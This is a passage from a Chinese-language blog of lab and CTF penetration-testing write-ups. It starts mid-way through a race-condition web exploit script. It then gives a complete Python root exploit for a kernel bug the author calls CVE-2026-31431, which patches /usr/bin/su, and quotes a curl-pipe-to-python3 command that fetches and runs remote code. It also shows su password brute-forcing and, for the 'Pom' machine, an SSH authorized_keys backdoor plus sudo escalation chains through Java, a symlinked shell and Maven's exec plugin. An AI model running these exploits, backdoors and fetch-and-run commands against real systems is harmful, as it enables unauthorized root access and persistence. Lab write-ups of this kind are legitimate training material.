:PAYLOAD,'token' :t,'ajax' :'true' }, timeout=10 ) except Exception: continue for i in range (40 ): try : rr=s.get(TARGET, params={'1' :CMD,'x' :str (random.random())}, timeout=8 ) txt=rr.text except Exception: continue if 'RET=' in txt or 'Array' in txt or 'uid=' in txt or 'No such file or directory' in txt or 'Permission denied' in txt or 'Traceback' in txt or 'SyntaxError' in txt: sys.stdout.write(txt) raise SystemExit(0 )raise SystemExit('failed to hit race' )
copy-fail-CVE-2026-31431 进去之后提权确实没有思路,就想着打打今天早上刚刚爆的这个洞
直接用这个curl https://copy.fail/exp | python3 && su会报错,python版本是3.9,怀疑是python的问题,原payload改一下:
#!/bin/sh set -eu python3 - <<'PY' import os import zlib import socket import ctypes def d(x): return bytes.fromhex(x) libc = ctypes.CDLL(None, use_errno=True) _splice = libc.splice _splice.argtypes = [ ctypes.c_int, ctypes.POINTER(ctypes.c_longlong), ctypes.c_int, ctypes.POINTER(ctypes.c_longlong), ctypes.c_size_t, ctypes.c_uint, ] _splice.restype = ctypes.c_ssize_t def splice(fd_in, fd_out, length, offset_src=None, offset_dst=None): src = ctypes.c_longlong(offset_src) if offset_src is not None else None dst = ctypes.c_longlong(offset_dst) if offset_dst is not None else None ret = _splice( fd_in, ctypes.byref(src) if src is not None else None, fd_out, ctypes.byref(dst) if dst is not None else None, length, 0, ) if ret < 0: err = ctypes.get_errno() raise OSError(err, os.strerror(err)) def write_chunk(fd, offset, chunk): sock = socket.socket(38, 5, 0) sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) ALG_SET_KEY = 1 ALG_SET_AEAD_AUTHSIZE = 5 ALG_SET_IV = 2 ALG_SET_OP = 3 ALG_SET_ASSOCLEN = 4 SOL_ALG = 279 zero = d(" 00") sock.setsockopt(SOL_ALG, ALG_SET_KEY, d(" 0800010000000010" + " 0" * 64)) sock.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4) op, _ = sock.accept() size = offset + 4 op.sendmsg( [b" A" * 4 + chunk], [ (SOL_ALG, ALG_SET_OP, zero * 4), (SOL_ALG, ALG_SET_IV, b" \x10" + zero * 19), (SOL_ALG, ALG_SET_ASSOCLEN, b" \x08" + zero * 3), ], 32768, ) rfd, wfd = os.pipe() splice(fd, wfd, size, offset_src=0) splice(rfd, op.fileno(), size) try: op.recv(8 + offset) except Exception: pass fd = os.open(" /usr/bin/su", 0) payload = zlib.decompress( d( " 78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3" ) ) for i in range(0, len(payload), 4): write_chunk(fd, i, payload[i:i+4]) print(" PATCH_DONE") PY echo " [*] /usr/bin/su:" file /usr/bin/su || true echo " [*] quick root check:" printf 'id\nwhoami\nexit\n' | /usr/bin/su
root弱口令 靶机截止之后复现,发现预期是root弱口令,这一块确实不能忽略 使用这个项目,比较快可以爆出来: https://github.com/yanxinwu946/suBrute
./subrute.sh root rockyou5000.txt > result.txt
Pom 靶机:Pom 作者:Sublarge 靶机ID:608 难度:Easy
SSL端口连接 扫出来55555端口有一个使用了ssl的服务,之前遇到这种用nc比较多,用到了SSL说明这里的通信需要使用https之类,可以使用这个方法去连:
openssl s_client -connect 192.168.56.114:55555
-brief可以看一下基本信息
发现直接是个命令行,可以执行命令,我们先写个公钥后门进去
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqGKhvtr2I7DqCgIoQD7n0ovhsp1eUsy9WrhRAJSq7N7/zkDVL8Wbw5Rd/dbPfnKulJT0uE2uN6zb/+/jU245k3/BhMsHfM2JHH2at5xdzfT1JF62bODgdNbXL+60oSZochRktiP/YGDEU3xBwGce/goT14UM34IrJ96KMtpJiJCKFOFbYs/jcRDmaZlodv+xtcFGRUsNYbMDAt/L991YCQ998BPaAFUQi9LEFZMMUowmmbmohW/AyRPjrNW/MgpjK6LMreOX5qPKUvxHaUwRjYyjg645f3ARlYvEEZlGRdpHz7QJ8TtV5aScd0t0f49ccbJu3zT/q0me2cgDf/57xe41YHWYzl4h7jLtwOJwpbdG9D8jmuGM/zN0LnNoWFJqRGJ3936RM8bmi+SVgaC85pU2JrN2Scv348DoHbbbMFHYoTQ2Ynm2ATPxOtset8vlfpVGGjdH0iWTc/5xw/A4qQJrE1ZmKEcxt/Hr2FX9VvlySXao2id6VfiramC+702a4o6y0NBXrrqpQgY0Qed5ybpYSeADqqEk9y65SHvaG4AckLGisKlM76UiB7ansODml+Lipk0UXB6Y6VD5Xh5H2NJPdDSjp8RFCsV0EYP9F/oLoLvKN+ij/KrPgNDozvJkN5NCtVDZhfGYuY0xtxa7m2eApn5qiDs0TOdMAq1j3Dw== enen@XiaohaoVictusGamingLaptop' > ~/.ssh/authorized_keys
第一个flag直接读就行:
mav1234@Pom:~$ cat user.txt flag{user-f823e147843dd5b23f0ac9d243ae12fb}
sudo mvn提权 进来之后看到.local下面有一个被证书加密的文件,解密一下:
openssl pkeyutl -decrypt -inkey .\ssl.pem -in .\maven.meta -out .\meta.dec
经过尝试,这个是当前用户mav1234的密码,那么sudo -l看一下
mav1234@Pom:/tmp$ sudo -l [sudo ] password for mav1234: Matching Defaults entries for mav1234 on Pom: secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin Runas and Command-specific defaults for mav1234: Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL" User mav1234 may run the following commands on Pom: (qc2000) PASSWD: /usr/bin/java
可以以qc2000的身份执行java命令,那么写个java程序,运行拿到qc2000的bash
import java.io.IOException;import java.nio.file.Files;import java.nio.file.Path;public class CopyBash { public static void main (String[] args) throws Exception { new ProcessBuilder ("/bin/bash" , "-p" ).inheritIO().start().waitFor(); } }
cd /tmp javac CopyBash.javasudo -u qc2000 /usr/bin/java CopyBash
sudo -l:
qc2000@Pom:~$ sudo -l Matching Defaults entries for qc2000 on Pom: secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin Runas and Command-specific defaults for qc2000: Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL" User qc2000 may run the following commands on Pom: (terra536) NOPASSWD: /home/terra536/ln
然后直接sudo -u terra536 /home/terra536/ln就能切换到terra526,其实这个ln就是一个bash
terra536@Pom:~$ ls -al ln lrwxrwxrwx 1 terra536 terra536 7 May 1 20:23 ln -> /bin/sh
sudo -l:
terra536@Pom:~$ sudo -l Matching Defaults entries for terra536 on Pom: secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin Runas and Command-specific defaults for terra536: Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL" User terra536 may run the following commands on Pom: (ALL) NOPASSWD: /usr/bin/mvn
那么肯定是这个mvn作为提权点。mvn本身是有插件可以进行命令执行的,可以使用exec-maven-plugin 调用 /bin/bash -p。只不过我这里的靶机不出网,要把插件和依赖拷进去
先写个最简单的mvn项目
cd /tmpmkdir m && cd mcat > pom.xml <<'EOF' <project> <modelVersion>4.0.0</modelVersion> <groupId>x</groupId> <artifactId>x</artifactId> <version>1.0</version> </project> EOF
mvn dependency:get -Dartifact=org.codehaus.mojo:exec-maven-plugin:3.1.0 tar czf m2-repository.tar.gz -C ~/.m2 repository tar xzf m2-repository.tar.gz -C ~/.m2
提权即可
sudo /usr/bin/mvn -q \ -Dexec.executable=/bin/bash \ -Dexec.args="-p" \ --non-recursive \ org.codehaus.mojo:exec-maven-plugin:3.1.0:exec
文章作者: Xiaohao
文章链接: https://blog.enxiaohao.cn/posts/Pentration/Mazesec/
版权声明:除另有声明外,本博客文章均采用 CC BY-NC-SA 4.0 许可协议。转载请注明原作者与文章出处。